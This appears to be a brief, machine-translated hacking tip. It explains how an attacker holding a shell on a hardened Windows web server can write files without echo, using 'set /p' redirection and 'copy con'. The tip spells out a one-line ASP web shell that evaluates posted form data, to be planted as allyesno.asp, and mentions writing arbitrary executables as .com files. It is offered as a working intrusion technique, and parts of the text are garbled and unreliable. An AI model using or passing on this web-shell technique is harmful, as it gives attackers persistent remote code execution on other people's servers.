Assume that I use BT (allyesno)

Use security policies to prohibit local hosts from connecting to any port of the other party!
Then allow others to connect to their own port 80!
Remove debug/FTP/TFTP/ITS/start/NET/net1/ECHO/edit! Only Web services are provided locally!
Close/filter all ports. Now we get a shell for this host. Is there a way to mount the file?

Why is Echo removed from the kernel?

Don't worry, we still have set.

Set/P allyesno = del C:/.> allyesno. bat

If an escape character is encountered, it is ^...

Set/P allyesno = ^ <SCRIPT runat ^ = server language ^ = JavaScript ^> eval ^ (request. form ^ ('^ #' ^) + ''^) ^ </script ^> allyesno. ASP

If the other party is a BT
More> allyesno. asp
Copy con allyesno. asp

Press Ctrl + Z at the end and press F6.

You can enter anyCode(Including carriage return) if the suffix is com
You can also write executable files (without debugging, you can think about it yourself)